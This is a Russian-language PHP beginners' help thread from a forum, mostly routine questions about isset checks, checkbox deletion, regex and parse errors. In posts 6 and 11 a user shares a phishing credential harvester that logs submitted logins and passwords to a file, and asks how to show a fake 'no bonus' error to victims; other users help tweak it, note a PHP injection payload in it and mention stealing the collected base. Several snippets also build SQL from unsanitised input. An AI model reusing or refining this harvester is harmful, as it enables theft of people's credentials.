[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Пишите @sesssion_start(); чтобы хакеры пути не раскрывали к скриптам.
     
  2. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    Спасибо, теперь все добавляется, единственное теперь не пашит проверка.
    PHP:
    if (isset($name,$cena,$kol_vo,$summa)) {
    $result mysql_query ("INSERT INTO osn2 (name, cena, kol_vo, summa) VALUES ('$name', '$cena', '$kol_vo', '$summa')");
    echo 
    'Добавлено!';
    include (
    "vvod_dannih.php");
    }
    даже если ввести в 2 поля, или вообще никуда ничего не вводить, то все равно сознаются пустые поля в БД, а не возвращается ложь и выполняется то, что в else.
     
  3. #Wolf#

    #Wolf# Elder - Старейшина

    Joined:
    26 Mar 2008
    Messages:
    375
    Likes Received:
    166
    Reputations:
    16
    PHP:
    if (isset($name) && isset($cena) && isset($kol_vo) && isset($summa)) {
    попробуй
     
  4. Edward

    Edward Banned

    Joined:
    11 Feb 2010
    Messages:
    329
    Likes Received:
    21
    Reputations:
    -1
    неа тоже не работает.

    PHP:
    if ($name != '' && $cena != && $kol_vo != && isset($summa))
    Вот так вроде сработало, спасибо :)
     
    #16364 Edward, 28 Aug 2010
    Last edited: 28 Aug 2010
  5. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Как сделать многоуровнивый режим удаления елементов через check box?

    через radio работает все отлично, только вписываю checkbox все равно удаляет по одному елементу(
    PHP:
    $result mysql_query("SELECT `id`, `brand` FROM `brand`");      
    $myrow mysql_fetch_array($result);
    do{
     
    printf ("<input name='id' type='radio' value='%s'><label> %s</label><br>",$myrow["id"],$myrow["brand"]);
    }
    while (
    $myrow mysql_fetch_array($result));
    обработчик
    PHP:
    if (isset($id)){
     
    $result mysql_query ("DELETE FROM `brand` WHERE `id`='$id'",$dbconnect);

     if (
    $result == true){
      echo 
    "Ваша модель успешно удалена!";
     }
     else{
      echo 
    "Ваша модель  не удалена!";
     }
    }         
     else{
      echo 
    "Вы не выбрали модель  для удаление, поэтому, действие не выполнено!";
     }
     
  6. Forser

    Forser Member

    Joined:
    21 Sep 2009
    Messages:
    32
    Likes Received:
    6
    Reputations:
    1
    <?php

    $BASE="base.php";
    $IS_EMAIL=false;
    $LOCATION="" /тут редирект на сайт

    $p0=$_REQUEST["login"];
    $p1=$_REQUEST["passwd"];
    $headers = "";
    $info="$p0:$p1\n";

    if ($IS_EMAIL){
    mail($BASE,$headers.$info);
    } else {
    $fd=fopen($BASE,"a+");
    fwrite($fd,$info);
    fclose($fd);
    }

    header("Location:$LOCATION");
    ?>


    Как сделать так чтобы при редиректе на сайт писало: допустим ошибка! Невозможно взять бонус,как то так!
     
  7. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Документ должен быть без BOM метки. Качай Notepad++ и юзай его. Обычный блокнот ставит метку и сессия не стартанет.


    Перед редиректом напиши:
    <script>alert("Бонусов нет");</script>
     
    #16367 -=Zhenek=-, 29 Aug 2010
    Last edited: 29 Aug 2010
  8. Forser

    Forser Member

    Joined:
    21 Sep 2009
    Messages:
    32
    Likes Received:
    6
    Reputations:
    1
    Чем код на ошибки проверяешь?
     
  9. Forser

    Forser Member

    Joined:
    21 Sep 2009
    Messages:
    32
    Likes Received:
    6
    Reputations:
    1
    Не получается! добавь в мой код!
     
  10. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    Руками..

    echo "<script>alert(\"Бонусов нет\");</script>";
    header("Location:$LOCATION");
     
    #16370 -=Zhenek=-, 29 Aug 2010
    Last edited: 29 Aug 2010
  11. Forser

    Forser Member

    Joined:
    21 Sep 2009
    Messages:
    32
    Likes Received:
    6
    Reputations:
    1
    Вот код!

    <?php

    $BASE="base.php";
    $IS_EMAIL=false;
    echo "<script>alert(\"Бонусов нет\");</script>";
    header("Location:$LOCATION");


    $p0=$_REQUEST["login"];
    $p1=$_REQUEST["passwd"];
    $headers = "";
    $info="$p0:$p1\n";

    if ($IS_EMAIL){
    mail($BASE,$headers.$info);
    } else {
    $fd=fopen($BASE,"a+");
    fwrite($fd,$info);
    fclose($fd);
    }

    header("Location:$LOCATION");
    ?>

    Выходит окошко в новом окне,надо чтобы выходило окошко прямо на этой же странице и еще при нажатии на кнопку "ОК" идет раскрытие путей! Что не так?
    Поправь код полностью,если не трудно!
     
  12. Failure

    Failure Elder - Старейшина

    Joined:
    21 Sep 2008
    Messages:
    179
    Likes Received:
    46
    Reputations:
    16
    хэдеры должны предшествовать выводу, а у тебя в начале echo а потом header
    так что если нужен редирект - убирай нафиг header и в echo дописывай
    Code:
    window.location='url';
    
    да и что за бред? не находишь что после редиректа всё что ниже - не выполнится.
    Ладно, допустим редиректа не будет, у тебя тут еще и пхп-инъекция
    ты в пхп-файл записываешь переменные которые задаются пользователем (с массива _REQUEST)
    тоесть делаешь запрос вида:
    Code:
    holy_shit.php?login=<?php phpinfo(); ?>
    
    а потом зайди в base.php и полюбуйся

    да еще и мыло отправляешь по адресу - base.php
    :confused: мир что сошел с ума?
     
    #16372 Failure, 29 Aug 2010
    Last edited: 29 Aug 2010
  13. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    да нифига, то что код тупой я согласен, но ес в базе стоит лок вида <?пхп ехит; ?> аки... . И имея в виду што параметр +а твой пхп инфо пахать не будет, а вот сжопить всю базу можно если прописать скрипт для передачи себя на гейт. Какой у вас страшный фейк ппц
     
  14. Xantalion

    Xantalion New Member

    Joined:
    16 Feb 2008
    Messages:
    26
    Likes Received:
    1
    Reputations:
    3
    где можно почитать о том, как составлять фильтр для preg_match
    наподобие "/^(http:\/\/)?([^\/]+)/i" ?
     
  15. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    Добрый день.
    Подскажите, пожалуйста, как изменить кодировку названия файлов.
     
  16. Andres

    Andres Elder - Старейшина

    Joined:
    4 Apr 2008
    Messages:
    320
    Likes Received:
    119
    Reputations:
    0
    Клац
     
  17. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    Ну и что клац.
    Вы в этой выдаче видели как менять кодировку названия файла?
     
  18. Vlad&slav

    Vlad&slav Member

    Joined:
    1 Jan 2009
    Messages:
    207
    Likes Received:
    41
    Reputations:
    9
    http://darkoff.ru/2010/06/регулярные-выражения/
     
  19. Anarh1st

    Anarh1st Member

    Joined:
    19 May 2010
    Messages:
    32
    Likes Received:
    5
    Reputations:
    0

    Parse error: syntax error, unexpected T_IF

    Подскажите, в чем может быть проблема?
     
  20. bxN5

    bxN5 Elder - Старейшина

    Joined:
    8 Jan 2006
    Messages:
    687
    Likes Received:
    138
    Reputations:
    32
    посмотри все ли верно с условиями, if закрывать надо }
    или ; пропустил выше
    покажи больше кода
     
Thread Status:
Not open for further replies.